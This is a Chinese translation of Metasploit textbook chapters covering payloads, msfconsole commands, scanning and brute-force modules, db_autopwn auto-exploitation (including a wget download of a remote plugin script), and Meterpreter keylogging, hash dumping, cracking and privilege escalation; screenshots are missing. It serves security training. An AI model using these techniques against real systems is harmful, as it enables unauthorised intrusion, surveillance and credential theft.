我们将在接下来的章节中更详细地了解编码器。

有效载荷

要了解有效载荷的作用，让我们考虑一个现实世界的例子。某个国家的军事单位开发了一种新型导弹，可以以非常高的速度飞行 500 公里。现在，导弹本身是没有用的，除非它装满了正确类型的弹药。现在，军事单位决定在导弹内部装载高爆材料，这样当导弹击中目标时，导弹内部的高爆材料就会爆炸，对敌人造成所需的伤害。因此，在这种情况下，导弹内的高爆材料就是有效载荷。根据导弹发射后要造成的破坏程度，可以更改有效载荷。

同样，在 Metasploit 框架中的有效载荷让我们决定在成功利用后对目标系统执行什么操作。以下是 Metasploit 框架中提供的各种有效载荷类别：

• Singles：有时也称为内联或非分段有效载荷。此类别中的有效载荷是利用的完全独立单元，并且需要 shellcode，这意味着它们具有利用目标漏洞所需的一切。这种有效载荷的缺点是它们的大小。由于它们包含完整的利用和 shellcode，它们有时可能相当庞大，使它们在某些有大小限制的场景中变得无用。

• 分段：在某些情况下，有效载荷的大小非常重要。即使是多一个字节的有效载荷在目标系统上也可能无法正常运行。在这种情况下，分段有效载荷非常有用。分段有效载荷简单地在攻击系统和目标系统之间建立连接。它没有在目标系统上利用漏洞所需的 shellcode。由于体积非常小，它在许多情况下都能很好地适用。

• 阶段：一旦分段类型的有效载荷建立了攻击系统和目标系统之间的连接，“阶段”有效载荷就会被下载到目标系统上。它们包含在目标系统上利用漏洞所需的 shellcode。

以下截图显示了一个示例有效载荷，可用于从受损的 Windows 系统获取反向 TCP shell：

在接下来的章节中，您将学习如何使用各种有效载荷以及利用。

后期

post模块包含各种脚本和实用程序，可以在成功利用后帮助我们进一步渗透目标系统。一旦成功利用漏洞并进入目标系统，后期利用模块可能以以下方式帮助我们：

• 提升用户权限

• 转储操作系统凭据

• 窃取 cookie 和保存的密码

• 从目标系统获取按键日志

• 执行 PowerShell 脚本

• 使我们的访问持久化

以下表格显示了 Metasploit Framework 中可用的各种“post”模块的不同类别：

Linux	Windows	OS X	Cisco
Solaris	Firefox	Aix	Android
多功能	Zip	Powershell

Metasploit Framework 有 250 多个后期利用实用程序和脚本。在接下来的章节中，我们将讨论更多关于后期利用技术的内容时，会使用其中一些。

玩转 msfconsole

现在我们对 Metasploit Framework 的结构有了基本的了解，让我们开始实际学习msfconsole的基础知识。

msfconsole只是 Metasploit Framework 的简单命令行界面。虽然msfconsole可能一开始看起来有点复杂，但它是与 Metasploit Framework 交互的最简单和最灵活的方式。在本书的学习过程中，我们将一直使用msfconsole与 Metasploit 框架进行交互。

一些 Metasploit 版本确实提供了 GUI 和基于 Web 的界面。然而，从学习的角度来看，始终建议掌握 Metasploit Framework 的命令行控制台msfconsole。

让我们看一些msfconsole命令：

• banner命令：banner命令是一个非常简单的命令，用于显示 Metasploit Framework 的横幅信息。此信息通常包括其版本详细信息以及当前安装版本中可用的漏洞、辅助工具、有效载荷、编码器和 nop 生成器的数量。

它的语法是msf> banner。以下截图显示了banner命令的使用：

• version命令：version命令用于检查当前 Metasploit Framework 安装的版本。您可以访问以下网站以检查 Metasploit 官方发布的最新版本：

github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

它的语法是msf> version。以下截图显示了version命令的使用：

• connect命令：Metasploit Framework 中的connect命令提供了类似于 putty 客户端或 netcat 的功能。您可以使用此功能进行快速端口扫描或端口横幅抓取。

它的语法是msf> connect <ip:port>。以下截图显示了connect命令的使用：

• help命令：顾名思义，help命令提供有关 Metasploit Framework 中任何命令的使用的附加信息。

其语法为msf> help。以下截图显示了help命令的使用：

• route命令：route命令用于添加、查看、修改或删除网络路由。这用于高级场景中的枢纽，我们将在本书的后面部分介绍。

其语法为msf> route。以下截图显示了route命令的使用：

• save命令：有时，在对复杂目标环境进行渗透测试时，Metasploit Framework 会进行许多配置更改。现在，如果需要稍后再次恢复渗透测试，从头开始重新配置 Metasploit Framework 将非常痛苦。save命令将所有配置保存到文件中，并在下次启动时加载，节省了所有重新配置的工作。

其语法为msf>save。以下截图显示了save命令的使用：

• sessions命令：一旦我们成功利用目标，通常会在目标系统上获得一个 shell 会话。如果我们同时在多个目标上工作，可能会同时打开多个会话。Metasploit Framework 允许我们根据需要在多个会话之间切换。sessions命令列出了与各个目标系统建立的所有当前活动会话。

其语法为msf>sessions。以下截图显示了sessions命令的使用：

• spool命令：就像任何应用程序都有帮助调试错误的调试日志一样，spool命令将所有输出打印到用户定义的文件以及控制台。稍后可以根据需要分析输出文件。

其语法为msf>spool。以下截图显示了spool命令的使用：

• show命令：show命令用于显示 Metasploit Framework 中可用的模块，或在使用特定模块时显示附加信息。

其语法为msf> show。以下截图显示了show命令的使用：

• info命令：info命令用于显示 Metasploit Framework 中特定模块的详细信息。例如，您可能希望查看有关 meterpreter 有效载荷的信息，例如支持的架构和执行所需的选项：

其语法为msf> info。以下截图显示了info命令的使用：

• irb命令：irb命令从 Metasploit Framework 内部调用交互式 Ruby 平台。交互式 Ruby 平台可用于在后期利用阶段创建和调用自定义脚本。

其语法为msf>irb。以下截图显示了irb命令的使用：

• makerc命令：当我们使用 Metasploit Framework 对目标进行渗透测试时，会发出许多命令。在任务结束或特定会话结束时，我们可能希望回顾通过 Metasploit 执行的所有活动。makerc命令简单地将特定会话的所有命令历史写入用户定义的输出文件。

其语法为msf>makerc。以下截图显示了makerc命令的使用：

Metasploit 中的变量

对于我们在 Metasploit 框架中使用的大多数利用，我们需要为一些变量设置值。以下是 Metasploit 框架中一些常见和最重要的变量：

变量名称	变量描述
LHOST	本地主机：此变量包含攻击者系统的 IP 地址，即我们发起利用的系统的 IP 地址。
LPORT	本地端口：此变量包含攻击者系统的（本地）端口号。当我们期望利用给我们提供反向 shell 时，通常需要这个。
RHOST	远程主机：此变量包含目标系统的 IP 地址。
RPORT	远程端口：此变量包含我们将攻击/利用的目标系统上的端口号。例如，要利用远程目标系统上的 FTP 漏洞，RPORT 将设置为 21。

• get命令：get命令用于检索 Metasploit 框架中特定本地变量中包含的值。例如，您可能想查看为特定利用设置的目标系统的 IP 地址。

其语法是msf>get。以下截图显示了msf> get命令的使用：

• getg命令：getg命令与get命令非常相似，只是返回全局变量中包含的值。

其语法是msf> getg。以下截图显示了msf> getg命令的使用：

• set和setg命令：set命令为 Metasploit 框架中的一个（本地）变量（如RHOST、RPORT、LHOST和LPPORT）分配一个新值。但是，set命令为一个有限的会话/实例分配一个变量的值。setg命令为（全局）变量永久分配一个新值，以便在需要时可以重复使用。

其语法是：

msf> set <VARIABLE> <VALUE>
msf> setg <VARIABLE> <VALUE>

我们可以在以下截图中看到set和setg命令：

• unset和unsetg命令：unset命令简单地清除通过set命令之前存储在（本地）变量中的值。unsetg命令通过setg命令清除之前存储在（全局）变量中的值：

语法是：

msf> unset<VARIABLE>
msf> unsetg <VARIABLE>

我们可以在以下截图中看到unset和unsetg命令：

更新 Metasploit 框架

Metasploit 框架由 Rapid 7 提供商业支持，并拥有一个非常活跃的开发社区。几乎每天都会在各种系统中发现新的漏洞。对于任何这种新发现的漏洞，很有可能在 Metasploit 框架中获得一个现成的利用。但是，为了跟上最新的漏洞和利用，保持 Metasploit 框架的更新是很重要的。您可能不需要每天更新框架（除非您非常积极地参与渗透测试）；但是，您可以定期进行更新。

Metasploit 框架提供了一个简单的实用程序称为msfupdate，它连接到相应的在线存储库并获取更新：

摘要

在本章中，我们已经看到了 Metasploit 框架的结构和一些常见的控制台命令。在下一章中，我们将实际开始使用 Metasploit 框架来执行对目标系统的信息收集和枚举。对于在 Metasploit 框架中使用大多数模块，记住以下顺序：

1. 使用use命令选择所需的 Metasploit 模块。

2. 使用show options命令列出执行所选模块所需的所有变量。

3. 使用set命令设置所需变量的值。

4. 使用run命令执行先前配置的变量的模块。

练习

您可以尝试以下练习：

• 浏览 Metasploit Framework 的目录结构

• 尝试一些本章讨论的常见控制台命令

• 更新 Metasploit Framework 到最新可用版本

第四章：使用 Metasploit 进行信息收集

信息收集和枚举是渗透测试生命周期的初始阶段。这些阶段经常被忽视，人们直接使用自动化工具试图快速妥协目标。然而，这样的尝试成功的可能性较小。

“给我六个小时砍倒一棵树，我将花前四个小时磨削斧头。”

• 亚伯拉罕·林肯

这是亚伯拉罕·林肯的一句非常著名的名言，它也适用于渗透测试！您对目标进行信息收集和枚举的努力越多，成功妥协的可能性就越大。通过进行全面的信息收集和枚举，您将获得关于目标的大量信息，然后您可以精确地决定攻击向量，以便妥协目标。

Metasploit 框架提供了各种辅助模块，用于进行被动和主动信息收集以及详细的枚举。本章介绍了 Metasploit 框架中提供的一些重要信息收集和枚举模块：

要涵盖的主题如下：

• 各种协议的信息收集和枚举

• 使用 Metasploit 进行密码嗅探

• 使用 Shodan 进行高级搜索

信息收集和枚举

在本节中，我们将探讨 Metasploit 框架中各种辅助模块，这些模块可以有效地用于信息收集和枚举各种协议，如 TCP、UDP、FTP、SMB、SMTP、HTTP、SSH、DNS 和 RDP。对于这些协议，您将学习多个辅助模块以及必要的变量配置。

传输控制协议

传输控制协议（TCP）是一种面向连接的协议，可以确保可靠的数据包传输。许多服务，如 Telnet、SSH、FTP 和 SMTP，都使用 TCP 协议。该模块对目标系统执行简单的端口扫描，并告诉我们哪些 TCP 端口是打开的。

它的辅助模块名称是auxiliary/scanner/portscan/tcp，您将需要配置以下参数：

• RHOSTS：要扫描的目标的 IP 地址或 IP 范围

• PORTS：要扫描的端口范围

我们可以在以下截图中看到这个辅助模块：

用户数据报协议

用户数据报协议（UDP）与 TCP 相比更轻量，但不像 TCP 那样可靠。UDP 被 SNMP 和 DNS 等服务使用。该模块对目标系统执行简单的端口扫描，并告诉我们哪些 UDP 端口是打开的。

它的辅助模块名称是auxiliary/scanner/discovery/udp_sweep，您将需要配置以下参数：

• RHOSTS：要扫描的目标的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

文件传输协议

文件传输协议（FTP）最常用于客户端和服务器之间的文件共享。FTP 使用 TCP 端口 21 进行通信。

让我们来看看以下 FTP 辅助模块：

• ftp_login：该模块帮助我们对目标 FTP 服务器执行暴力攻击。

它的辅助模块名称是auxiliary/scanner/ftp/ftp_login，您将需要配置以下参数：

• • RHOSTS：要扫描的目标的 IP 地址或 IP 范围

• USERPASS_FILE：包含用户名/密码列表的文件路径

您可以创建自己的自定义列表，用于暴力攻击，或者在 Kali Linux 中有许多立即可用的单词列表，位于|usr|share|wordlists。

我们可以在以下截图中看到这个辅助模块：

• ftp_version：该模块使用横幅抓取技术来检测目标 FTP 服务器的版本。

它的辅助模块名称是auxiliary/scanner/ftp/ftp_version，您将需要配置以下参数：

• RHOSTS：目标要扫描的 IP 地址或 IP 范围

一旦您知道目标服务的版本，您可以开始搜索特定版本的漏洞和相应的利用。

我们可以在以下截图中看到这个辅助模块：

• anonymous：一些 FTP 服务器配置错误，允许匿名用户访问。这个辅助模块探测目标 FTP 服务器，以检查它是否允许匿名访问。

它的辅助模块名称是auxiliary/scanner/ftp/anonymous，您将需要配置以下参数：

• • RHOSTS：目标要扫描的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

服务器消息块

服务器消息块（SMB）是一个主要用于共享文件、打印机等的应用层协议。SMB 使用 TCP 端口 445 进行通信。

让我们来看一些以下 SMB 辅助功能：

• ：这个辅助模块探测目标以检查它运行的 SMB 版本。

它的辅助模块名称是auxiliary/scanner/smb/smb_version，您将需要配置以下参数：

• • RHOSTS：目标要扫描的 IP 地址或 IP 范围

• smb_enumusers：这个辅助模块通过 SMB RPC 服务连接到目标系统，并枚举系统上的用户。

它的辅助模块名称是auxiliary/scanner/smb/smb_enumusers，您将需要配置以下参数：

• • RHOSTS：目标要扫描的 IP 地址或 IP 范围

一旦您获得了目标系统上的用户列表，您可以开始准备对这些用户进行密码破解攻击。

我们可以在以下截图中看到这个辅助模块：

• smb_enumshares：这个辅助模块枚举了目标系统上可用的 SMB 共享。

它的辅助模块名称是auxiliary/scanner/smb/smb_enumshares，您将需要配置以下参数：

• • RHOSTS：目标要扫描的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

超文本传输协议

HTTP 是一个用于在万维网上交换信息的无状态应用层协议。HTTP 使用 TCP 端口80进行通信。

让我们来看一些以下 HTTP 辅助功能：

• http_version：这个辅助模块探测并检索目标系统上运行的 Web 服务器版本。它还可能提供有关目标正在运行的操作系统和 Web 框架的信息。

它的辅助模块名称是auxiliary/scanner/http/http_version，您将需要配置以下参数：

• • RHOSTS：目标要扫描的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

• backup_file：有时，开发人员和应用程序管理员会忘记从 Web 服务器中删除备份文件。这个辅助模块探测目标 Web 服务器是否存在这样的文件，因为管理员可能会忘记删除它们。这些文件可能会提供有关目标系统的额外详细信息，并有助于进一步的妥协。

它的辅助模块名称是auxiliary/scanner/http/backup_file，您将需要配置以下参数：

• • RHOSTS：目标要扫描的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

• dir_listing：经常出现的情况是 Web 服务器被错误配置为显示根目录中包含的文件列表。该目录可能包含通常不通过网站链接公开的文件，并泄露敏感信息。此辅助模块检查目标 Web 服务器是否容易受到目录列表的影响。

其辅助模块名称为auxiliary/scanner/http/dir_listing，您将需要配置以下参数：

• • 目标的 IP 地址或 IP 范围

• PATH：检查目录列表的可能路径

我们可以在以下截图中看到这个辅助模块：

• ssl：虽然 SSL 证书通常用于加密传输中的数据，但经常发现它们要么配置错误，要么使用弱加密算法。此辅助模块检查目标系统上安装的 SSL 证书可能存在的弱点。

其辅助模块名称为auxiliary/scanner/http/ssl，您将需要配置以下参数：

• • 目标的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

• http_header：大多数 Web 服务器没有经过安全加固。这导致 HTTP 头泄露服务器和操作系统版本的详细信息。此辅助模块检查目标 Web 服务器是否通过 HTTP 头提供任何版本信息。

其辅助模块名称为auxiliary/scanner/http/http_header，您将需要配置以下参数：

• • 目标的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

• robots_txt：大多数搜索引擎通过蜘蛛和爬行网站并索引页面的机器人工作。然而，特定网站的管理员可能不希望他的网站的某个部分被任何搜索机器人爬行。在这种情况下，他使用robots.txt文件告诉搜索机器人在爬行时排除站点的某些部分。此辅助模块探测目标以检查robots.txt文件的存在。该文件通常会显示目标系统上存在的敏感文件和文件夹列表。

其辅助模块名称为auxiliary/scanner/http/robots_txt，您将需要配置以下参数：

• • 目标的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

简单邮件传输协议

SMTP 用于发送和接收电子邮件。SMTP 使用 TCP 端口 25 进行通信。此辅助模块探测目标系统上的 SMTP 服务器版本，并列出配置为使用 SMTP 服务的用户。

其辅助模块名称为auxiliary/scanner/smtp/smtp_enum，您将需要配置以下参数：

• 目标的 IP 地址或 IP 范围

• USER_FILE：包含用户名列表的文件路径

我们可以在以下截图中看到这个辅助模块：

安全外壳

SSH 通常用于加密通道上的远程管理。SSH 使用 TCP 端口 22 进行通信。

让我们看一些 SSH 辅助模块：

• ssh_enumusers：此辅助模块探测目标系统上的 SSH 服务器，以获取远程系统上配置为使用 SSH 服务的用户列表。

其辅助模块名称为auxiliary/scanner/ssh/ssh_enumusers，您将需要配置以下参数：

• • 目标的 IP 地址或 IP 范围

• USER_FILE：包含用户名列表的文件路径

我们可以在以下截图中看到这个辅助模块：

• ssh_login：这个辅助模块对目标 SSH 服务器执行暴力破解攻击。

它的辅助模块名称是auxiliary/scanner/ssh/ssh_login，您将需要配置以下参数：

• • RHOSTS：目标的 IP 地址或 IP 范围

• USERPASS_FILE：包含用户名和密码列表的文件路径

我们可以在以下截图中看到这个辅助模块：

• ssh_version：这个辅助模块探测目标 SSH 服务器，以便检测其版本以及底层操作系统的版本。

它的辅助模块名称是auxiliary/scanner/ssh/ssh_version，您将需要配置以下参数：

• • RHOSTS：目标的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

• detect_kippo：Kippo 是一个基于 SSH 的蜜罐，专门设计用来诱捕潜在的攻击者。这个辅助模块探测目标 SSH 服务器，以便检测它是一个真正的 SSH 服务器还是一个 Kippo 蜜罐。如果目标被检测到在运行 Kippo 蜜罐，那么进一步妥协它就没有意义了。

它的辅助模块名称是auxiliary/scanner/ssh/detect_kippo，您将需要配置以下参数：

• • RHOSTS：目标的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

域名系统

域名系统（DNS）负责将主机名转换为相应的 IP 地址。DNS 通常在 UDP 端口 53 上工作，但也可以在 TCP 上运行。这个辅助模块可以用来从目标 DNS 服务器提取名称服务器和邮件记录信息。

它的辅助模块名称是auxiliary/gather/dns_info，您将需要配置以下参数：

• DOMAIN：要扫描的目标域名

我们可以在以下截图中看到这个辅助模块：

远程桌面协议

远程桌面协议（RDP）用于远程连接到 Windows 系统。RDP 使用 TCP 端口 3389 进行通信。这个辅助模块检查目标系统是否对 MS12-020 漏洞存在漏洞。MS12-020 是 Windows 远程桌面的一个漏洞，允许攻击者远程执行任意代码。有关 MS12-020 漏洞的更多信息可以在technet.microsoft.com/en-us/library/security/ms12-020.aspx找到。

它的辅助模块名称是auxiliary/scanner/rdp/ms12_020，您将需要配置以下参数：

• RHOSTS：目标的 IP 地址或 IP 范围

我们可以在以下截图中看到这个辅助模块：

密码嗅探

密码嗅探是一种特殊类型的辅助模块，它监听网络接口，查找通过各种协议发送的密码，如 FTP、IMAP、POP3 和 SMB。它还提供了一个选项，可以导入以前转储的以.pcap格式的网络流量，并在其中查找凭据。

它的辅助模块名称是auxiliary/sniffer/psnuffle，可以在以下截图中看到：

使用 Shodan 进行高级搜索

Shodan 是一个高级搜索引擎，用于搜索互联网连接的设备，如网络摄像头和 SCADA 系统。它还可以有效地用于搜索易受攻击的系统。有趣的是，Metasploit 框架可以与 Shodan 集成，直接从 msfconsole 发出搜索查询。

为了将 Shodan 与 Metasploit Framework 集成，您首先需要在www.shodan.io上注册。注册后，您可以从以下显示的“账户概述”部分获取 API 密钥：

其辅助模块名称是auxiliary/gather/shodan_search，该辅助模块连接到 Shodan 搜索引擎，从msfconsole发出搜索查询并获取搜索结果。

您将需要配置以下参数：

• SHODAN_APIKEY：注册 Shodan 用户可用的 Shodan API 密钥

• QUERY：要搜索的关键词

您可以运行shodan_search命令来获得以下结果：

总结

在本章中，我们已经看到了如何使用 Metasploit Framework 中的各种辅助模块进行信息收集和枚举。在下一章中，我们将学习如何对目标系统进行详细的漏洞评估。

练习

您可以尝试以下练习：

• 除了本章讨论的辅助模块外，尝试探索和执行以下辅助模块：

• auxiliary/scanner/http/ssl_version

• auxiliary/scanner/ssl/openssl_heartbleed

• auxiliary/scanner/snmp/snmp_enum

• auxiliary/scanner/snmp/snmp_enumshares

• auxiliary/scanner/snmp/snmp_enumusers

• 使用 Shodan 辅助模块查找各种互联网连接设备

第五章：使用 Metasploit 进行漏洞搜索

在上一章中，您学习了各种信息收集和枚举技术。现在我们已经收集了有关目标系统的信息，是时候检查目标系统是否存在漏洞，以及我们是否可以在现实中利用它了。在本章中，我们将涵盖以下主题：

• 设置 Metasploit 数据库

• 漏洞扫描和利用

• 在 Metasploit 内执行 NMAP 和 Nessus 扫描

• 使用 Metasploit 辅助工具进行漏洞检测

• 使用db_autopwn进行自动利用

• 探索 Metasploit 的后渗透能力

管理数据库

到目前为止，我们已经看到，Metasploit Framework 是各种工具、实用程序和脚本的紧密集合，可用于执行复杂的渗透测试任务。在执行此类任务时，以某种形式生成了大量数据。从框架的角度来看，安全地存储所有数据以便在需要时有效地重用是至关重要的。默认情况下，Metasploit Framework 使用后端的 PostgreSQL 数据库来存储和检索所有所需的信息。

现在我们将看到如何与数据库交互执行一些琐碎的任务，并确保数据库在开始渗透测试活动之前已正确设置。

对于初始设置，我们将使用以下命令设置数据库：

root@kali :~# service postgresql start

这个命令将在 Kali Linux 上启动 PostgreSQL 数据库服务。在使用msfconsole命令之前，这是必要的：

root@kali :~# msfdb init 

这个命令将启动 Metasploit Framework 数据库实例，这是一次性的活动：

db_status：一旦我们启动了 PostgreSQL 服务并初始化了msfdb，我们就可以开始使用msfconsole：

msf> db_status

db_status命令将告诉我们后端数据库是否已成功初始化并与msfconsole连接：

工作空间

假设您同时为不同客户的多个渗透测试任务工作。您肯定不希望来自不同客户的数据混在一起。理想的方式是为每个任务创建逻辑隔间来存储数据。Metasploit Framework 中的工作空间帮助我们实现这一目标。

以下表格显示了与管理工作空间相关的一些常用命令：

Sr. no.	Command	Purpose
1.	workspace	这将列出在 Metasploit Framework 中先前创建的所有工作空间
2.	workspace -h	这将列出与workspace命令相关的所有开关的帮助信息
3.	workspace -a <name>	这将创建一个具有指定name的新工作空间
4.	workspace -d <name>	这将删除指定的工作空间
5.	workspace <name>	这将切换工作空间的上下文到指定的名称

以下截图显示了workspace命令与各种开关的用法：

导入扫描

我们已经知道 Metasploit Framework 有多么多才多艺，以及它与其他工具的良好集成。Metasploit Framework 提供了一个非常有用的功能，可以从其他工具（如 NMAP 和 Nessus）导入扫描结果。如下截图所示，db_import命令可用于将扫描导入 Metasploit Framework：

• hosts命令：我们很可能已经对整个子网进行了 NMAP 扫描，并将扫描结果导入了 Metasploit Framework 数据库。现在，我们需要检查在扫描期间发现了哪些主机是活动的。如下截图所示，hosts命令列出了在扫描和导入期间发现的所有主机：

• services命令：一旦 NMAP 扫描结果被导入数据库，我们可以查询数据库，过滤出我们可能感兴趣的服务。services命令带有适当的参数，如下截图所示，查询数据库并过滤服务：

备份数据库

想象一下，您在使用 Metasploit 框架进行复杂的渗透测试任务上工作了很长时间。现在，由于某种不幸的原因，您的 Metasploit 实例崩溃了，无法启动。如果需要从头开始在新的 Metasploit 实例上重新工作，那将是非常痛苦的！这就是 Metasploit 框架中备份选项发挥作用的地方。db_export命令，如下截图所示，将数据库中的所有数据导出到外部 XML 文件中。

然后，您可以将导出的 XML 文件安全地保存起来，以防以后需要恢复数据：

NMAP

NMAP，即网络映射器的缩写，是一个非常先进的工具，可用于以下目的：

• 主机发现

• 服务检测

• 版本枚举

• 漏洞扫描

• 防火墙测试和规避

NMAP 是一个有数百个参数可配置的工具，完全覆盖它超出了本书的范围。然而，以下表格将帮助您了解一些最常用的 NMAP 开关：

序号	NMAP 开关	目的
1.	-sT	执行连接（TCP）扫描
2.	-sU	执行扫描以检测开放的 UDP 端口
3.	-sP	执行简单的 ping 扫描
4.	-A	执行侵略性扫描（包括隐秘 syn 扫描和 OS 和版本检测加上路由跟踪和脚本）
5.	-sV	执行服务版本检测
6.	-v	打印详细输出
7.	-p 1-1000	仅扫描 1 到 1000 范围内的端口
8.	-O	执行操作系统检测
9.	-iL <filename>	从指定的<filename>文件中扫描所有主机
10.	-oX	以 XML 格式输出扫描结果
11.	-oG	以可 grep 格式输出扫描结果
12.	--script <script_name>	对目标执行指定的脚本 <script_name>

例如：nmap -sT -sV -O 192.168.44.129 -oX /root/Desktop/scan.xml。

上述命令将在 IP 地址192.168.44.129上执行连接扫描，检测所有服务的版本，识别目标正在运行的操作系统，并将结果保存到路径/root/Desktop/scan.xml的 XML 文件中。

NMAP 扫描方法

我们已经在前一节中看到，Metasploit 框架提供了从 NMAP 和 Nessus 等工具导入扫描的功能。然而，还有一个选项可以从 Metasploit 框架内启动 NMAP 扫描。这将立即将扫描结果存储在后端数据库中。

然而，这两种方法之间并没有太大的区别，只是个人选择的问题。

• 从msfconsole扫描：db_nmap命令，如下截图所示，从 Metasploit 框架内启动 NMAP 扫描。扫描完成后，您可以简单地使用hosts命令列出扫描的目标。

Nessus

Nessus 是一个流行的漏洞评估工具，我们在第一章中已经见过了，Metasploit 和支持工具简介。现在，有两种使用 Nessus 与 Metasploit 的替代方法，如下所示：

• 对目标系统执行 Nessus 扫描，保存报告，然后使用db_import命令将其导入 Metasploit 框架，如本章前面讨论的那样

• 加载、启动并触发目标系统上的 Nessus 扫描，直接通过msfconsole描述在下一节中

使用 msfconsole 从 Nessus 进行扫描

在使用 Nessus 开始新的扫描之前，重要的是在msfconsole中加载 Nessus 插件。加载插件后，可以使用一对凭据连接到您的 Nessus 实例，如下一张截图所示。

在msfconsole中加载nessus之前，请确保使用/etc/init.d/nessusd start命令启动 Nessus 守护程序。

一旦加载了nessus插件，并且我们连接到了nessus服务，我们需要选择要使用哪个策略来扫描我们的目标系统。可以使用以下命令执行此操作：

msf> nessus_policy_list -
msf> nessus_scan_new <Policy_UUID>
msf> nessus_scan_launch <Scan ID>

您也可以在以下截图中看到这一点：

一段时间后，扫描完成，可以使用以下命令查看扫描结果：

msf> nessus_report_vulns <Scan ID>

您也可以在以下截图中看到这一点：

使用 Metasploit 辅助模块进行漏洞检测

在上一章中，我们已经看到了各种辅助模块。Metasploit 框架中的一些辅助模块也可以用于检测特定的漏洞。例如，以下截图显示了用于检查目标系统是否容易受到 MS12-020 RDP 漏洞影响的辅助模块：

使用 db_autopwn 进行自动利用

在上一节中，我们已经看到了 Metasploit 框架如何帮助我们从其他各种工具（如 NMAP 和 Nessus）导入扫描结果。现在，一旦我们将扫描结果导入数据库，下一个逻辑步骤将是查找与导入扫描的漏洞/端口匹配的利用。我们当然可以手动执行此操作；例如，如果我们的目标是 Windows XP，并且它打开了 TCP 端口 445，那么我们可以尝试针对其执行MS08_67 netapi漏洞。

Metasploit 框架提供了一个名为db_autopwn的脚本，它自动化了利用匹配过程，如果找到匹配项，则执行适当的利用，并给我们远程 shell。但是，在尝试此脚本之前，需要考虑以下几点：

• db_autopwn脚本已经正式从 Metasploit 框架中弃用。您需要明确下载并将其添加到您的 Metasploit 实例中。

• 这是一个非常资源密集的脚本，因为它尝试针对目标的所有漏洞的排列和组合，因此会产生很多噪音。

• 这个脚本不再建议用于针对任何生产系统的专业使用；但是，从学习的角度来看，您可以在实验室中针对任何测试机器运行它。

以下是开始使用db_autopwn脚本的步骤：

1. 打开一个终端窗口，并运行以下命令：

wget https://raw.githubusercontent.com
/jeffbryner/kinectasploit/master/db_autopwn.rb

1. 将下载的文件复制到/usr/share/metasploit-framework/plugins目录中。

2. 重新启动msfconsole。

3. 在msfconsole中，输入以下代码：

msf> use db_autopwn

1. 使用以下命令列出匹配的利用：

msf> db_autopwn -p -t

1. 使用以下命令利用匹配的利用：

 msf> db_autopwn -p -t -e

后渗透

后渗透是渗透测试中的一个阶段，在这个阶段我们已经对目标系统有了有限（或完全）的访问权限，现在，我们想要搜索特定的文件、文件夹，转储用户凭据，远程捕获屏幕截图，从远程系统中转储按键，提升权限（如果需要），并尝试使我们的访问持久化。在本节中，我们将学习 meterpreter，它是一个以其功能丰富的后渗透能力而闻名的高级有效载荷。

什么是 meterpreter？

Meterpreter 是一个高级的可扩展有效载荷，它使用内存 DLL 注入。它显著增加了 Metasploit 框架的后渗透能力。通过在分段套接字上通信，它提供了一个广泛的客户端端 Ruby API。Meterpreter 的一些显着特点如下：

• 隐秘：Meterpreter 完全驻留在受损系统的内存中，并且不会向磁盘写入任何内容。它不会产生任何新进程；它会将自身注入到受损进程中。它有能力轻松迁移到其他运行的进程。默认情况下，Meterpreter 通过加密通道进行通信。这在法医角度上对受损系统留下了有限的痕迹。

• 可扩展：功能可以在运行时添加，并直接通过网络加载。新功能可以添加到 Meterpreter 而无需重新构建它。meterpreter有效载荷运行无缝且非常快速。

下面的截图显示了我们通过利用我们的 Windows XP 目标系统上的ms08_067_netapi漏洞获得的meterpreter会话。

在使用漏洞之前，我们需要通过发出use payload/windows/meterpreter/reverse_tcp命令来配置 meterpreter 有效载荷，然后设置 LHOST 变量的值。

搜索内容

一旦我们攻破了目标系统，我们可能想要寻找特定的文件和文件夹。这完全取决于渗透测试的上下文和意图。meterpreter 提供了一个搜索选项，可以在受损的系统上查找文件和文件夹。下面的截图显示了一个搜索查询，寻找位于 C 驱动器上的机密文本文件：

屏幕截图

成功攻破后，我们可能想知道在受损系统上运行的活动和任务。拍摄屏幕截图可能会给我们一些有趣的信息，了解我们的受害者在那个特定时刻在做什么。为了远程捕获受损系统的屏幕截图，我们执行以下步骤：

1. 使用ps命令列出目标系统上运行的所有进程以及它们的 PID。

2. 定位explorer.exe进程，并记下其 PID。

3. 将 meterpreter 迁移到explorer.exe进程，如下截图所示：

一旦我们将 meterpreter 迁移到explorer.exe，我们加载espia插件，然后执行screengrab命令，如下截图所示：

我们的受损系统的屏幕截图已保存（如下所示），我们可以注意到受害者正在与 FileZilla Server 进行交互：

按键记录

除了屏幕截图，另一个非常有用的 meterpreter 功能是键盘记录。meterpreter 按键记录器将捕获在受损系统上按下的所有按键，并将结果转储到我们的控制台上。使用keyscan_start命令在受损系统上启动远程键盘记录，而使用keyscan_dump命令将所有捕获的按键转储到 Metasploit 控制台上：

转储哈希并使用 JTR 破解

Windows 将用户凭据以加密格式存储在其 SAM 数据库中。一旦我们已经攻破了目标系统，我们就想获取该系统上的所有凭据。如下截图所示，我们可以使用post/windows/gather/hashdump辅助模块从远程受损系统中转储密码哈希：

一旦我们有了凭据的转储，下一步就是破解它们并检索明文密码。Metasploit Framework 有一个辅助模块auxiliary/analyze/jtr_crack_fast，可以触发对转储哈希的密码破解。

完成后，模块会显示明文密码，如下截图所示：

jtr是John the Ripper的缩写，是最常用的密码破解工具。

Shell 命令

一旦我们成功利用了漏洞并获得了 meterpreter 访问，我们可以使用shell命令来获得对受损系统的命令提示符访问（如下截图所示）。命令提示符访问会让您感觉自己就像在物理上操作目标系统一样：

特权提升

我们可以利用漏洞并获得远程 meterpreter 访问，但很可能我们在受损系统上的权限受到限制。为了确保我们对受损系统拥有完全访问和控制权，我们需要将特权提升到管理员级别。meterpreter 提供了提升特权的功能，如下截图所示。首先，我们加载一个名为priv的扩展，然后使用getsystem命令来提升特权。

然后，我们可以使用getuid命令验证我们的特权级别：

摘要

